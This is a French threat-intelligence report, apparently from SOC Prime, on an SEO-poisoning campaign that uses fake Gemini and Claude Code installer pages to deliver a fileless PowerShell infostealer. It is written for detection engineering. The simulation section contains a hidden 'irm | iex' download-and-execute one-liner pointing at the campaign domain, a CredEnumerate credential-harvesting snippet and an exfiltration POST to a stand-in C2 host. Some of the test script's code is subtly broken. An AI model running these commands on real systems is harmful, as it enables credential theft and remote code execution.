SOC Prime Bias: Moyen

25 May 2026 16:29 UTC

Campagne de SEO Poisoning utilise des leurres de code Gemini et Claude pour diffuser un Infostealer

Author Photo
SOC Prime Team linkedin icon Suivre
Campagne de SEO Poisoning utilise des leurres de code Gemini et Claude pour diffuser un Infostealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Des acteurs eCrime motivés financièrement utilisent l’empoisonnement SEO pour pousser de faux domaines qui imitent des installateurs pour des assistants de codage IA. Les victimes qui copient et collent une seule commande PowerShell depuis ces pages déclenchent un voleur d’informations sans fichier qui s’exécute entièrement en mémoire. Le malware vole des identifiants, des cookies de session, des clés VPN et des fichiers sensibles avant d’exfiltrer les données sous forme cryptée vers un serveur de commande et de contrôle. La campagne vise les stations de travail de développeurs Windows et se fond dans l’activité normale en abusant des outils de développeur familiers.

Investigation

Les analystes d’EclecticIQ ont tracé l’infrastructure malveillante jusqu’à .co.com domaines servant des chaînes de téléchargement PowerShell via irm and iex. Le script de première étape lance une fenêtre PowerShell cachée en utilisant Shell.Application.ShellExecute, puis charge des types C# additionnels pour collecter des identifiants, des détails système et d’autres données précieuses. L’exfiltration a été observée sur HTTP et HTTPS vers events.msft23.com and events.ms709.com en utilisant des chemins URL spécifiques. Une analyse passive des DNS a lié l’opération à un fournisseur d’hébergement à l’épreuve des balles aux Pays-Bas et à un cluster plus large de domaines typosquattés.

Atténuation

Les défenseurs devraient détecter et bloquer le modèle d’exécution irm | iex les fenêtres PowerShell cachées, et l’utilisation suspecte Add-Type impliquant des appels P/Invoke. Les organisations devraient appliquer le Mode Langage Contrainte de PowerShell et utiliser AppLocker ou WDAC pour prévenir l’exécution de scripts à partir de contenu provenant d’Internet. Restreindre l’accès d’écriture au presse-papiers du navigateur et appliquer des jetons OAuth de courte durée pour les comptes de développeur peuvent également réduire l’exposition. Les développeurs doivent aussi être formés à éviter les commandes copier-coller provenant de sites non fiables.

Réponse

Les équipes de sécurité doivent alerter sur les processus PowerShell lancés avec -WindowStyle Hidden ou invoqué via Shell.Application.ShellExecute. Ces événements doivent être corrélés avec des requêtes HTTP sortantes vers des domaines correspondant à *-setup.com or events.*.com, surtout lorsque les chemins /take, /process, ou /validate apparaissent. Si ce comportement est détecté, isolez le point de terminaison affecté, collectez les journaux PowerShell et effectuez une collecte légale des données du navigateur et des magasins d’identifiants.

graph TB %% Définitions des classes classDef action fill:#99ccff classDef tool fill:#ffdd99 classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef operator fill:#ff9900 %% Nœuds – Actions initial_access[« <b>Action</b> – <b>T1189 Compromission par Drive-by</b> : résultats de recherche SEO empoisonnés distribuant une fausse page d’installation Gemini CLI / Claude Code.<br/><b>Sous-techniques</b> T1204.001 Exécution utilisateur (lien malveillant) et T1204.004 Exécution utilisateur (PowerShell copié-collé en une ligne). »] class initial_access action execution[« <b>Action</b> – <b>T1059.001 PowerShell</b> : script en mémoire exécuté via Shell.Application.ShellExecute, téléchargement et exécution réflexive (irm|iex).<br/><b>Obfuscation</b> T1027 et T1027.016 code inutile. »] class execution action defense_evasion[« <b>Action</b> – <b>T1562.001 Désactivation des outils de sécurité</b> : patch de amsi.dll, désactivation ETW, vérification sandbox qemu-ga. »] class defense_evasion action credential_access[« <b>Action</b> – <b>T1555.003 Identifiants des navigateurs Web</b> : extraction des identifiants et cookies de navigateur.<br/><b>Techniques supplémentaires</b> T1555.004 Gestionnaire d’identifiants Windows, T1552.001 identifiants dans fichiers, T1552.002 registre, T1539 vol de cookies de session web, T1550.004 cookies de session. »] class credential_access action discovery[« <b>Action</b> – <b>T1057 Découverte de processus</b> : énumération via Restart Manager.<br/><b>Techniques supplémentaires</b> T1083 découverte fichiers/dossiers, T1217 information navigateur, T1497.002 contournement sandbox/virtualisation. »] class discovery action collection[« <b>Action</b> – <b>T1005 Données du système local</b> : collecte de fichiers utilisateur (*.txt, *.docx) et répertoires synchronisés cloud (T1039). »] class collection action command_and_control[« <b>Action</b> – <b>T1071.001 Protocoles Web</b> : beacons HTTPS vers events.msft23.com / events.ms709.com (/take, /process, /validate).<br/><b>Chiffrement</b> liste de tâches RSA (T1573) et téléchargement de payload (T1105 transfert d’outils entrant). »] class command_and_control action exfiltration[« <b>Action</b> – <b>T1041 Exfiltration via canal C2</b> : exfiltration chiffrée des données collectées.<br/><b>Sous-technique</b> T1020 exfiltration automatisée. »] class exfiltration action %% Nœuds – Outils / Malware tool_powershell[« <b>Outil</b> – <b>Nom</b>: PowerShell<br/><b>Description</b>: moteur de script Windows pour exécution en mémoire. »] class tool_powershell tool tool_shellexecute[« <b>Outil</b> – <b>Nom</b>: Shell.Application.ShellExecute<br/><b>Description</b>: lance des fenêtres cachées pour exécution de scripts. »] class tool_shellexecute tool tool_amsi_patch[« <b>Outil</b> – <b>Nom</b>: Patch AMSI<br/><b>Description</b>: modification de amsi.dll pour contourner l’analyse des scripts. »] class tool_amsi_patch tool tool_etw_disable[« <b>Outil</b> – <b>Nom</b>: Désactivation ETW<br/><b>Description</b>: désactive Event Tracing for Windows pour éviter la détection. »] class tool_etw_disable tool tool_credmanager[« <b>Outil</b> – <b>Nom</b>: API CredEnumerate<br/><b>Description</b>: récupération des identifiants du Windows Credential Manager. »] class tool_credmanager tool tool_ssh_reg[« <b>Outil</b> – <b>Nom</b>: Collecte registre<br/><b>Description</b>: lecture des mots de passe WinSCP et PuTTY dans le registre. »] class tool_ssh_reg tool tool_vpn[« <b>Outil</b> – <b>Nom</b>: Collecteur VPN<br/><b>Description</b>: collecte des fichiers de configuration VPN pour réutilisation. »] class tool_vpn tool tool_wallet[« <b>Outil</b> – <b>Nom</b>: Vol de portefeuille crypto<br/><b>Description</b>: extraction de fichiers de portefeuille et clés privées. »] class tool_wallet tool %% Connexions – flux d’attaque initial_access –>|mène à| execution execution –>|utilise| tool_powershell execution –>|utilise| tool_shellexecute execution –>|contient| tool_amsi_patch execution –>|contient| tool_etw_disable execution –>|mène à| defense_evasion defense_evasion –>|utilise| tool_amsi_patch defense_evasion –>|utilise| tool_etw_disable defense_evasion –>|mène à| credential_access credential_access –>|utilise| tool_credmanager credential_access –>|utilise| tool_ssh_reg credential_access –>|utilise| tool_vpn credential_access –>|utilise| tool_wallet credential_access –>|mène à| discovery discovery –>|mène à| collection collection –>|mène à| command_and_control command_and_control –>|utilise| tool_powershell command_and_control –>|mène à| exfiltration

Flux d’attaque

Exécution de la simulation

Prérequis : Le contrôle préalable de télémétrie et de référence doit avoir réussi.

Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et la narration DOIVENT refléter directement les TTPs identifiés et visent à générer exactement la télémétrie attendue par la logique de détection. Des exemples abstraits ou non liés conduiront à un diagnostic erroné.

  • Récit de l’attaque et commandes:
    Un attaquant compromet un compte utilisateur à faible privilège et exécute un one-liner PowerShell via cmd.exe. Le one-liner utilise irm (Invoke-RestMethod) pour récupérer un script PowerShell malveillant depuis events.msft23.com, le redirige vers iex (Invoke-Expression) pour exécuter la charge utile entièrement en mémoire et cache la fenêtre PowerShell pour éviter l’espionnage visuel. La charge utile charge ensuite un type .NET avec Add-Type pour effectuer l’énumération d’identifiants en utilisant l’API CredEnumerate , exfiltre les données collectées via HTTPS. Toutes les étapes sont exécutées sans écrire de fichiers sur le disque, correspondant à la description « sans fichier ».

    # Étape 1 - Lancement de PowerShell caché
    powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"

    Le payload.ps1 téléchargé (exécuté en mémoire) contient :

    # Étape 2 - Charger un type .NET pour l'énumération des identifiants
    $type = @"
    using System;
    using System.Runtime.InteropServices;
    public class Cred {
        [DllImport(""advapi32.dll"", SetLastError=true)]
        public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
    }
    "@
    Add-Type $type
    
    # Étape 3 - Invocation de la collecte et de l'exfiltration des identifiants
    $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
    $data = "Collected $count credentials"
    Invoke-RestMethod -Method Post -Uri https://attacker.c2/exfil -Body $data

    Cette séquence génère les fragments de ligne de commande que la règle Sigma associe :

    • powershell.exe -WindowStyle Hidden
    • irm events.msft23.com | iex
    • Add-Type
    • advapi32.dll!CredEnumerate
  • Script de test de régression : Le script suivant reproduit le comportement exact sur une station de test. Exécutez-le depuis une invite PowerShell avec élévation.

    # Simulation sans fichier PowerShell Infostealer - TC-20260525-A7Z3K
    # ------------------------------------------------------------
    # Étape 1 - Exécuter un PowerShell caché qui télécharge et exécute la charge utile
    $command = 'powershell.exe -WindowStyle Hidden -Command "irm https://events.msft23.com/payload.ps1 -UseBasicParsing | iex"'
    Start-Process -FilePath "cmd.exe" -ArgumentList "/c $command" -WindowStyle Hidden
    
    # Contenu fictif de payload.ps1 (hébergé localement pour des tests sûrs)
    $payload = @'
    $type = @"
    using System;
    using System.Runtime.InteropServices;
    public class Cred {
        [DllImport("advapi32.dll", SetLastError=true)]
        public static extern bool CredEnumerate(string filter, int flag, out int count, out IntPtr pCredentials);
    }
    "@
    Add-Type $type
    
    $null = [Cred]::CredEnumerate("*",0,[ref]$count,[ref]$ptr)
    $data = "Collected $count credentials"
    # Simuler l'exfiltration vers un point de terminaison inoffensif
    Invoke-RestMethod -Method Post -Uri "https://httpbin.org/post" -Body $data
    '@
    
    # Écrire le fichier fictif de la charge utile à un endroit temporaire pour le test (simulant l'hébergement distant)
    $tempPath = "$env:TEMPpayload.ps1"
    Set-Content -Path $tempPath -Value $payload -Encoding UTF8
    
    # Servir la charge utile via un écouteur HTTP local simple (à des fins de démonstration)
    $listener = [System.Net.HttpListener]::new()
    $listener.Prefixes.Add("http://+:8080/")
    $listener.Start()
    Write-Host "Serving mock payload on http://localhost:8080/payload.ps1"
    while ($listener.IsListening) {
        $context = $listener.GetContext()
        if ($context.Request.Url.AbsolutePath -eq "/payload.ps1") {
            $bytes = [System.Text.Encoding]::UTF8.GetBytes($payload)
            $context.Response.ContentLength64 = $bytes.Length
            $context.Response.OutputStream.Write($bytes,0,$bytes.Length)
            $context.Response.Close()
        }
    }
    # Remarque : Arrêtez l'écouteur manuellement après la validation.
  • Commandes de nettoyage : Supprimez les fichiers temporaires et arrêtez l’écouteur HTTP.

    # Nettoyage après simulation
    Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
    # Arrêtez l'écouteur HTTP local (s'il fonctionne toujours)
    Get-Process -Name "powershell" | Where-Object {$_.MainWindowTitle -match "payload"} | Stop-Process -Force